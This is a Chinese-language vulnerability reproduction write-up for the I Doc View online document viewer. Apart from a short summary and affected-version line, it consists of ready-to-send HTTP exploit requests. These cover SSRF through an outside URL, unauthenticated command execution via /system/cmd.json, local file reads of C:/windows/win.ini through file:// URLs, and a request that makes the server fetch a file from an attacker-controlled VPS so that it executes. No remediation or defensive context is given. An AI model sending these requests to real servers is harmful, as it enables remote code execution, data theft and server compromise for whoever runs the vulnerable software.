【任意读取-上传文件】I Doc View在线文档预览

漏洞简介

攻击者能够上传恶意文件并读取服务器上的敏感信息、SSRF漏洞、命令执行、文件读取

漏洞影响

I Doc View<13.10.1_20231115

漏洞复现

1.1ssrf

GET /view/url?url=https://csjpkmrzwn.dgrh3.cn HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip

1.2命令执行

GET /system/cmd.json?cmd=cd HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

1.3文件读取

GET /view/qJvqhFt.json?start=1&size=5&url=file:///C:/windows/win.ini&idocv_auth=sapi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1

GET /view/url?url=file:///C:/windows/win.ini HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1

1.4文件上传执行

GET /view/qJvqhFt.json?start=1&size=5&url=（vps地址）&idocv_auth=sapi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1